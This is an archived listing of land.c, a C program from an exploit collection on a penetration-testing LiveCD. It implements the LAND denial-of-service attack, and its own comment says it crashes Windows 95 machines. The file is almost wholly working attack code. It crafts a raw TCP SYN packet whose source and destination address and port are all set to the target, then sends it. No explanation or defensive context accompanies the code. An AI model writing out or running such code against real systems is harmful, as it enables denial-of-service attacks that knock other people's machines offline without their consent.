home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / land.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  119 lines

  1. /* land.c by m3lt, FLC
  2.    crashes a win95 box */
  3.  
  4. #include <stdio.h>
  5. #include <netdb.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netinet/ip.h>
  11. #include <netinet/ip_tcp.h>
  12. #include <netinet/protocols.h>
  13.  
  14. struct pseudohdr
  15. {
  16.         struct in_addr saddr;
  17.         struct in_addr daddr;
  18.         u_char zero;
  19.         u_char protocol;
  20.         u_short length;
  21.         struct tcphdr tcpheader;
  22. };
  23.  
  24. u_short checksum(u_short * data,u_short length)
  25. {
  26.         register long value;
  27.         u_short i;
  28.  
  29.         for(i=0;i<(length>>1);i++)
  30.                 value+=data[i];
  31.  
  32.         if((length&1)==1)
  33.                 value+=(data[i]<<8);
  34.  
  35.         value=(value&65535)+(value>>16);
  36.  
  37.         return(~value);
  38. }
  39.  
  40. int main(int argc,char * * argv)
  41. {
  42.         struct sockaddr_in sin;
  43.         struct hostent * hoste;
  44.         int sock;
  45.         char buffer[40];
  46.         struct iphdr * ipheader=(struct iphdr *) buffer;
  47.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  48.         struct pseudohdr pseudoheader;
  49.  
  50.         fprintf(stderr,"land.c by m3lt, FLC\n");
  51.  
  52.         if(argc<3)
  53.         {
  54.                 fprintf(stderr,"usage: %s IP port\n",argv[0]);
  55.                 return(-1);
  56.         }
  57.  
  58.         bzero(&sin,sizeof(struct sockaddr_in));
  59.         sin.sin_family=AF_INET;
  60.  
  61.         if((hoste=gethostbyname(argv[1]))!=NULL)
  62.                 bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  63.         else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  64.         {
  65.                 fprintf(stderr,"unknown host %s\n",argv[1]);
  66.                 return(-1);
  67.         }
  68.  
  69.         if((sin.sin_port=htons(atoi(argv[2])))==0)
  70.         {
  71.                 fprintf(stderr,"unknown port %s\n",argv[2]);
  72.                 return(-1);
  73.         }
  74.  
  75.         if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  76.         {
  77.                 fprintf(stderr,"couldn't allocate raw socket\n");
  78.                 return(-1);
  79.         }
  80.  
  81.         bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  82.         ipheader->version=4;
  83.         ipheader->ihl=sizeof(struct iphdr)/4;
  84.         ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  85.         ipheader->id=htons(0xF1C);
  86.         ipheader->ttl=255;
  87.         ipheader->protocol=IP_TCP;
  88.         ipheader->saddr=sin.sin_addr.s_addr;
  89.         ipheader->daddr=sin.sin_addr.s_addr;
  90.  
  91.         tcpheader->th_sport=sin.sin_port;
  92.         tcpheader->th_dport=sin.sin_port;
  93.         tcpheader->th_seq=htonl(0xF1C);
  94.         tcpheader->th_flags=TH_SYN;
  95.         tcpheader->th_off=sizeof(struct tcphdr)/4;
  96.         tcpheader->th_win=htons(2048);
  97.  
  98.         bzero(&pseudoheader,12+sizeof(struct tcphdr));
  99.         pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  100.         pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  101.         pseudoheader.protocol=6;
  102.         pseudoheader.length=htons(sizeof(struct tcphdr));
  103.         bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  104.         tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  105.  
  106.         if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
  107. sockaddr_in))==-1)
  108.         {
  109.                 fprintf(stderr,"couldn't send packet\n");
  110.                 return(-1);
  111.         }
  112.  
  113.         fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
  114.  
  115.         close(sock);
  116.         return(0);
  117. }
  118.  
  119.